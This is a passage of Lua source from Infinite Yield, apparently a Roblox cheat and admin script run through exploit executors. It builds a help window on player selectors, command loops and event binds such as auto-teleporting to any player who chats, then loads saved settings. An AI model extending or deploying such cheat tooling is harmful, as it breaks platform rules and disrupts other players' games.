nonteam",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {38,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={36},Position=UDim2.new(0,101,0,0),Size=UDim2.new(1,0,1,0),Text="- players who are not on your team",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {39,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {40,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={39},Size=UDim2.new(1,0,1,0),Text="friends",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {41,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={39},Position=UDim2.new(0,40,0,0),Size=UDim2.new(1,0,1,0),Text="- anyone who is friends with you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {42,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {43,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={42},Size=UDim2.new(1,0,1,0),Text="nonfriends",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {44,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={42},Position=UDim2.new(0,61,0,0),Size=UDim2.new(1,0,1,0),Text="- anyone who is not friends with you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {45,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {46,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={45},Size=UDim2.new(1,0,1,0),Text="guests",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {47,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={45},Position=UDim2.new(0,36,0,0),Size=UDim2.new(1,0,1,0),Text="- guest players (obsolete)",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {48,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {49,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={48},Size=UDim2.new(1,0,1,0),Text="bacons",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {50,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={48},Position=UDim2.new(0,40,0,0),Size=UDim2.new(1,0,1,0),Text="- anyone with the \"bacon\" or pal hair",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {51,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {52,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={51},Size=UDim2.new(1,0,1,0),Text="age[number]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {53,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={51},Position=UDim2.new(0,71,0,0),Size=UDim2.new(1,0,1,0),Text="- includes anyone below or at the given age",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {54,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {55,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={54},Size=UDim2.new(1,0,1,0),Text="rad[number]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {56,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={54},Position=UDim2.new(0,70,0,0),Size=UDim2.new(1,0,1,0),Text="- includes anyone within the given radius",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {57,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {58,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={57},Size=UDim2.new(1,0,1,0),Text="nearest",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {59,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={57},Position=UDim2.new(0,43,0,0),Size=UDim2.new(1,0,1,0),Text="- gets the closest player to you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {60,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {61,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={60},Size=UDim2.new(1,0,1,0),Text="farthest",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {62,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={60},Position=UDim2.new(0,46,0,0),Size=UDim2.new(1,0,1,0),Text="- gets the farthest player from you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {63,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {64,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={63},Size=UDim2.new(1,0,1,0),Text="group[ID]",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {65,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={63},Position=UDim2.new(0,55,0,0),Size=UDim2.new(1,0,1,0),Text="- gets players who are in a certain group",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {66,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {67,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={66},Size=UDim2.new(1,0,1,0),Text="alive",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {68,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={66},Position=UDim2.new(0,27,0,0),Size=UDim2.new(1,0,1,0),Text="- gets players who are alive",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {69,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {70,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={69},Size=UDim2.new(1,0,1,0),Text="dead",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {71,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={69},Position=UDim2.new(0,29,0,0),Size=UDim2.new(1,0,1,0),Text="- gets players who are dead",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {72,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-1,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}}, {73,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={72},Size=UDim2.new(1,0,1,0),Text="@username",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {74,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={72},Position=UDim2.new(0,66,0,0),Size=UDim2.new(1,0,1,0),Text="- searches for players by username only (ignores displaynames)",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {75,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,180),ZIndex=10,}}, {76,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={75},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Various Operators",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {77,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={75},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {78,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={75},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,16),Text="Use commas to separate multiple expressions:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {79,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={75},Position=UDim2.new(0,8,0,75),Size=UDim2.new(1,-8,0,16),Text="Use - to exclude, and + to include players in your expression:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {80,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={75},Position=UDim2.new(0,8,0,91),Size=UDim2.new(1,-8,0,16),Text=";locate %blue-friends (gets players in blue team who aren't your friends)",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {81,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={75},Position=UDim2.new(0,8,0,46),Size=UDim2.new(1,-8,0,16),Text=";locate noob,noob2,bob",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {82,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={75},Position=UDim2.new(0,8,0,120),Size=UDim2.new(1,-8,0,16),Text="Put ! before a command to run it with the last arguments it was ran with:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {83,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={75},Position=UDim2.new(0,8,0,136),Size=UDim2.new(1,-8,0,32),Text="After running ;offset 0 100 0, you can run !offset anytime to repeat that command with the same arguments that were used to run it last time",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {84,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,154),ZIndex=10,}}, {85,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={84},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Command Looping",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {86,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={84},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,20),Text="Form: [How many times it loops]^[delay (optional)]^[command]",TextColor3=Color3.new(1,1,1),TextSize=15,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {87,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={84},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {88,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={84},Position=UDim2.new(0,8,0,50),Size=UDim2.new(1,-8,0,20),Text="Use the 'breakloops' command to stop all running loops.",TextColor3=Color3.new(1,1,1),TextSize=15,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {89,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={84},Position=UDim2.new(0,8,0,80),Size=UDim2.new(1,-8,0,16),Text="Examples:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {90,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={84},Position=UDim2.new(0,8,0,98),Size=UDim2.new(1,-8,0,42),Text=";5^btools - gives you 5 sets of btools\n;10^3^drophats - drops your hats every 3 seconds 10 times\n;inf^0.1^animspeed 100 - infinitely loops your animation speed to 100",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {91,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,120),ZIndex=10,}}, {92,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={91},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Execute Multiple Commands at Once",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {93,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={91},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,20),Text="You can execute multiple commands at once using \"\\\"",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {94,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={91},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {95,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={91},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,-8,0,16),Text="Examples:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {96,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={91},Position=UDim2.new(0,8,0,78),Size=UDim2.new(1,-8,0,32),Text=";drophats\\respawn - drops your hats and respawns you\n;enable inventory\\enable playerlist\\refresh - enables those coregui items and refreshes you",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {97,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,75),ZIndex=10,}}, {98,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={97},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Browse Command History",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {99,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={97},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="While focused on the command bar, you can use the up and down arrow keys to browse recently used commands",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {100,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={97},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {101,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,75),ZIndex=10,}}, {102,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={101},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Autocomplete in the Command Bar",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {103,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={101},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="While focused on the command bar, you can use the tab key to insert the top suggested command into the command bar.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {104,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={101},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {105,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,175),ZIndex=10,}}, {106,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={105},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Using Event Binds",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {107,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={105},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="Use event binds to set up commands that get executed when certain events happen. You can edit the conditions for an event command to run (such as which player triggers it).",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {108,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={105},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}}, {109,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={105},Position=UDim2.new(0,8,0,70),Size=UDim2.new(1,-8,0,48),Text="Some events may send arguments; you can use them in your event command by using $ followed by the argument number ($1, $2, etc). You can find out the order and types of these arguments by looking at the settings of the event command.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {110,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Text",Parent={105},Position=UDim2.new(0,8,0,130),Size=UDim2.new(1,-8,0,16),Text="Example:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {111,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={105},Position=UDim2.new(0,8,0,148),Size=UDim2.new(1,-8,0,16),Text="Setting up 'goto $1' on the OnChatted event will teleport you to any player that chats.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,TextYAlignment=0,ZIndex=10,}}, {112,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,105),ZIndex=10,}}, {113,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={112},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Get Further Help",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}}, {114,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={112},Position=UDim2.new(0,8,0,30),Size=UDim2.new(1,-8,0,32),Text="You can join the Discord server to get support with IY, and read up on more documentation such as the Plugin API.",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}}, {115,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={112},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),Visible=false,ZIndex=10,}}, {116,"TextButton",{BackgroundColor3=Color3.new(0.48627451062202,0.61960786581039,0.85098040103912),BorderColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),Font=4,Name="InviteButton",Parent={112},Position=UDim2.new(0,5,0,75),Size=UDim2.new(1,-10,0,25),Text="Copy Discord Invite Link (https://discord.gg/78ZuWSq)",TextColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),TextSize=16,ZIndex=10,}}, }) for i,v in pairs(main.Content.List:GetDescendants()) do if v:IsA("TextLabel") then table.insert(text1,v) end end table.insert(scroll,main.Content.List) table.insert(shade1,main.Content) table.insert(shade2,main.TopBar) main.Name = randomString() main.TopBar.Close.MouseButton1Click:Connect(function() main:TweenPosition(UDim2.new(0.5,-250,0,-500), "InOut", "Quart", 0.5, true, nil) end) local inviteButton = main:FindFirstChild("InviteButton",true) local lastPress = nil inviteButton.MouseButton1Click:Connect(function() if everyClipboard then toClipboard("https://discord.gg/78ZuWSq") inviteButton.Text = "Copied" else inviteButton.Text = "No Clipboard Function, type out the link" end local pressTime = tick() lastPress = pressTime wait(2) if lastPress ~= pressTime then return end inviteButton.Text = "Copy Discord Invite Link (https://discord.gg/78ZuWSq)" end) dragGUI(main) main.Parent = ScaledHolder ReferenceButton.MouseButton1Click:Connect(function() main:TweenPosition(UDim2.new(0.5,-250,0.5,-150), "InOut", "Quart", 0.5, true, nil) end) end)() currentShade1 = Color3.fromRGB(36, 36, 37) currentShade2 = Color3.fromRGB(46, 46, 47) currentShade3 = Color3.fromRGB(78, 78, 79) currentText1 = Color3.new(1, 1, 1) currentText2 = Color3.new(0, 0, 0) currentScroll = Color3.fromRGB(78,78,79) defaultGuiScale = IsOnMobile and 0.9 or 1 defaultsettings = { prefix = ';'; StayOpen = false; guiScale = defaultGuiScale; espTransparency = 0.3; keepIY = true; logsEnabled = false; jLogsEnabled = false; aliases = {}; binds = {}; WayPoints = {}; PluginsTable = {}; currentShade1 = {currentShade1.R,currentShade1.G,currentShade1.B}; currentShade2 = {currentShade2.R,currentShade2.G,currentShade2.B}; currentShade3 = {currentShade3.R,currentShade3.G,currentShade3.B}; currentText1 = {currentText1.R,currentText1.G,currentText1.B}; currentText2 = {currentText2.R,currentText2.G,currentText2.B}; currentScroll = {currentScroll.R,currentScroll.G,currentScroll.B}; eventBinds = eventEditor.SaveData() } defaults = HttpService:JSONEncode(defaultsettings) nosaves = false useFactorySettings = function() prefix = ';' StayOpen = false guiScale = defaultGuiScale KeepInfYield = true espTransparency = 0.3 logsEnabled = false jLogsEnabled = false logsWebhook = nil aliases = {} binds = {} WayPoints = {} PluginsTable = {} end createPopup = function(text) local FileError = Instance.new("Frame") local background = Instance.new("Frame") local Directions = Instance.new("TextLabel") local shadow = Instance.new("Frame") local PopupText = Instance.new("TextLabel") local Exit = Instance.new("TextButton") local ExitImage = Instance.new("ImageLabel") FileError.Name = randomString() FileError.Parent = ScaledHolder FileError.Active = true FileError.BackgroundTransparency = 1 FileError.Position = UDim2.new(0.5, -180, 0, 290) FileError.Size = UDim2.new(0, 360, 0, 20) FileError.ZIndex = 10 background.Name = "background" background.Parent = FileError background.Active = true background.BackgroundColor3 = Color3.fromRGB(36, 36, 37) background.BorderSizePixel = 0 background.Position = UDim2.new(0, 0, 0, 20) background.Size = UDim2.new(0, 360, 0, 205) background.ZIndex = 10 Directions.Name = "Directions" Directions.Parent = background Directions.BackgroundTransparency = 1 Directions.BorderSizePixel = 0 Directions.Position = UDim2.new(0, 10, 0, 10) Directions.Size = UDim2.new(0, 340, 0, 185) Directions.Font = Enum.Font.SourceSans Directions.TextSize = 14 Directions.Text = text Directions.TextColor3 = Color3.new(1, 1, 1) Directions.TextWrapped = true Directions.TextXAlignment = Enum.TextXAlignment.Left Directions.TextYAlignment = Enum.TextYAlignment.Top Directions.ZIndex = 10 shadow.Name = "shadow" shadow.Parent = FileError shadow.BackgroundColor3 = Color3.fromRGB(46, 46, 47) shadow.BorderSizePixel = 0 shadow.Size = UDim2.new(0, 360, 0, 20) shadow.ZIndex = 10 PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Size = UDim2.new(1, 0, 0.95, 0) PopupText.ZIndex = 10 PopupText.Font = Enum.Font.SourceSans PopupText.TextSize = 14 PopupText.Text = "File Error" PopupText.TextColor3 = Color3.new(1, 1, 1) PopupText.TextWrapped = true Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundTransparency = 1 Exit.Position = UDim2.new(1, -20, 0, 0) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.Text = "" Exit.ZIndex = 10 ExitImage.Parent = Exit ExitImage.BackgroundColor3 = Color3.new(1, 1, 1) ExitImage.BackgroundTransparency = 1 ExitImage.Position = UDim2.new(0, 5, 0, 5) ExitImage.Size = UDim2.new(0, 10, 0, 10) ExitImage.Image = getcustomasset("infiniteyield/assets/close.png") ExitImage.ZIndex = 10 Exit.MouseButton1Click:Connect(function() FileError:Destroy() end) end local loadedEventData = nil local jsonAttempts = 0 function saves() if writefileExploit() and readfileExploit() and jsonAttempts < 10 then local readSuccess, out = readfile("IY_FE.iy", true) if readSuccess then if out ~= nil and tostring(out):gsub("%s", "") ~= "" then local success, response = pcall(function() local json = HttpService:JSONDecode(out) if vtype(json.prefix, "string") then prefix = json.prefix else prefix = ';' end if vtype(json.StayOpen, "boolean") then StayOpen = json.StayOpen else StayOpen = false end if vtype(json.guiScale, "number") then guiScale = json.guiScale else guiScale = defaultGuiScale end if vtype(json.keepIY, "boolean") then KeepInfYield = json.keepIY else KeepInfYield = true end if vtype(json.espTransparency, "number") then espTransparency = json.espTransparency else espTransparency = 0.3 end if vtype(json.logsEnabled, "boolean") then logsEnabled = json.logsEnabled else logsEnabled = false end if vtype(json.jLogsEnabled, "boolean") then jLogsEnabled = json.jLogsEnabled else jLogsEnabled = false end if vtype(json.logsWebhook, "string") then logsWebhook = json.logsWebhook else logsWebhook = nil end if vtype(json.aliases, "table") then aliases = json.aliases else aliases = {} end if vtype(json.binds, "table") then binds = json.binds else binds = {} end if 